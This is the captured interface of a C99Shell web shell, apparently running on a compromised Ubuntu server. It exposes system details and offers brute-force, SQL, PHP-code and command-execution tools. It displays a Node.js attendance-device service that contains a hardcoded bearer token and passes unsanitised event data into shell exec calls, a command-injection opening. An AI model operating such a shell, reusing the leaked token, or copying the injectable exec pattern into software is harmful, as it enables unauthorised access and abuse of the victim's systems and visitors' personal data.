!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/beximco/mrp/mrp/checking/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     service.js (11.47 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { exec } = require("child_process");
const fs = require("fs");
const ioredis = require("ioredis");
let redisio = new ioredis();
redisio.psubscribe("*");

console.log("PM Service Started");

redisio.on("pmessage", function (subscribed, channel, output) {
  const { event, data } = JSON.parse(output);
  console.log(event);

  if (event === "App\\Events\\NewDevice") {
    const { id, ip, name, port } = data;
    console.log(data);
    console.log("New Device Event Detected");

    let dataValue = `
                const ZKLib = require("zklib-js");
                var { client } = require("../redisClient");
                const axios = require("axios").default;
                
                const port=${port};
                const token =
                  "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNjYyNTQ1NjY3LCJleHAiOjE5NzgxMjE2Njd9.5lVlCpiqLqBmdASH-06JubosdJ4jmHwqkepXIkaGr3E";
                
                const test = async () => {
                  let zkInstance = new ZKLib("${ip}", ${port}, 5200, 5000);
                
                  try {
                    // Create socket to machine
                    await zkInstance.createSocket();
                    // Get general info like logCapacity, user counts, logs count
                    // It's really useful to check the status of device
                    console.log(await zkInstance.getInfo());
                  } catch (e) {
                    console.log(e);
                    if (e.code === "EADDRINUSE") {
                    }
                  }

                  await zkInstance.getRealTimeLogs((data) => {
                    // do something when some checkin
                    console.log(data);
                
                    client.exists(data.userId, async function (err, reply) {
                      if (reply === 1) {
                        client.hgetall(data.userId, async function (err, object) {
                          if (object.att_time) {
                            var current_date = new Date();
                            if (
                              Date.parse(current_date) > Date.parse(object.double_punch_time)
                            ) {
                              console.log(current_date);
                              console.log(object.double_punch_time);
                              console.log("Exists!");
                              const databody = {
                                card_no: object.card_no,
                                image: object.image,
                                user_id: data.userId,
                                visitor_name: object.visitor_name,
                                time: new Date(),
                                status: "OUT",
                              };
                              // await axios
                              //   .delete(
                              //     "http://127.0.0.1:1337/visitors/user_id=" + data.userId,
                              //     {
                              //       headers: {
                              //         Authorization: "Bearer " + token,
                              //       },
                              //     }
                              //   )
                              //   .then(async function (response) {
                              // handle success
                
                              const visitors = await axios.get(
                                "http://127.0.0.1:1337/visitors?phone=" + object.phone,
                                {
                                  headers: {
                                    Authorization: "Bearer " + token,
                                  },
                                }
                              );
                
                              console.log(visitors.data[0].id);
                              if (visitors.data[0].id) {
                                await axios.put(
                                  "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
                                  {
                                    status: 3,
                                  },
                                  {
                                    headers: {
                                      Authorization: "Bearer " + token,
                                    },
                                  }
                                );
                              }
                
                              await axios.post(
                                "http://127.0.0.1:1337/registered-logs",
                                databody,
                                {
                                  headers: {
                                    Authorization: "Bearer " + token,
                                  },
                                }
                              );
                              // console.log(response.data);
                              await zkInstance.deleteUser(parseInt(object.uid));
                
                              var logs = await axios.get(
                                "http://127.0.0.1:1337/logs?card_no=" +
                                  object.card_no +
                                  "&user_id=" +
                                  data.userId +
                                  "&_sort=id:DESC&_limit=1&returned=0",
                                {
                                  headers: {
                                    Authorization: "Bearer " + token,
                                  },
                                }
                              );
                
                              if (logs) {
                                await axios.put(
                                  "http://127.0.0.1:1337/logs/" + logs.data[0].id,
                                  {
                                    out_time: new Date(),
                                  },
                                  {
                                    headers: {
                                      Authorization: "Bearer " + token,
                                    },
                                  }
                                );
                              }
                              // })
                              // .catch(function (error) {
                              //   // handle error
                              //   console.log(error.message);
                              // });
                            } else {
                              console.log(current_date);
                              console.log(object.double_punch_time);
                              console.log("DOUBLE PUNCH");
                            }
                          } else {
                            console.log("ENTRY");
                            let e_dt = new Date();
                            e_dt.setSeconds(e_dt.getSeconds() + 15);
                            var end_date = e_dt.toISOString(); //interval end time
                            client.hmset(data.userId, {
                              att_time: data.attTime,
                              double_punch_time: end_date,
                            });
                
                            const databody = {
                              card_no: object.card_no,
                              image: object.image,
                              user_id: data.userId,
                              visitor_name: object.visitor_name,
                              time: new Date(),
                              status: "IN",
                            };
                
                            const logsBody = {
                              card_no: object.card_no,
                              user_id: data.userId,
                              image: object.image,
                              visitor_name: object.visitor_name,
                              entry_time: new Date(),
                              phone: object.phone,
                              departments: object.department,
                              employee: object.employee,
                            };
                
                            const visitors = await axios.get(
                              "http://127.0.0.1:1337/visitors?phone=" + object.phone,
                              {
                                headers: {
                                  Authorization: "Bearer " + token,
                                },
                              }
                            );
                
                            console.log(visitors.data[0].id);
                            if (visitors.data[0].id) {
                              await axios.put(
                                "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
                                {
                                  status: 2,
                                },
                                {
                                  headers: {
                                    Authorization: "Bearer " + token,
                                  },
                                }
                              );
                            }
                
                            await axios.post(
                              "http://127.0.0.1:1337/registered-logs",
                              databody,
                              {
                                headers: {
                                  Authorization: "Bearer " + token,
                                },
                              }
                            );
                
                            await axios.post("http://127.0.0.1:1337/logs", logsBody, {
                              headers: {
                                Authorization: "Bearer " + token,
                              },
                            });
                          }
                        });
                      } else {
                        console.log("no data in redis");
                      }
                    });
                  });

                };

                test();
            
     `;

    fs.writeFile("./devices/" + id + ".js", dataValue, function (err) {
      if (err) {
        console.log("Fail");
      }

      exec("pm2 start devices/" + id + ".js", (error, stdout, stderr) => {
        if (error) {
          console.log(`error: ${error.message}`);
          return;
        }
        if (stderr) {
          console.log(`stderr: ${stderr}`);
          return;
        }
      });
    });
  }

  if (event === "App\\Events\\StopDevice") {
    const { id, status } = data;

    if (status == "stop") {
      exec("pm2 stop devices/" + id + ".js", (error, stdout, stderr) => {
        if (error) {
          console.log(`error: ${error.message}`);
          return;
        }
        if (stderr) {
          console.log(`stderr: ${stderr}`);
          return;
        }
      });
    } else if (status == "start") {
      {
        exec("pm2 start devices/" + id + ".js", (error, stdout, stderr) => {
          if (error) {
            console.log(`error: ${error.message}`);
            return;
          }
          if (stderr) {
            console.log(`stderr: ${stderr}`);
            return;
          }
        });
      }
    }
  }
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--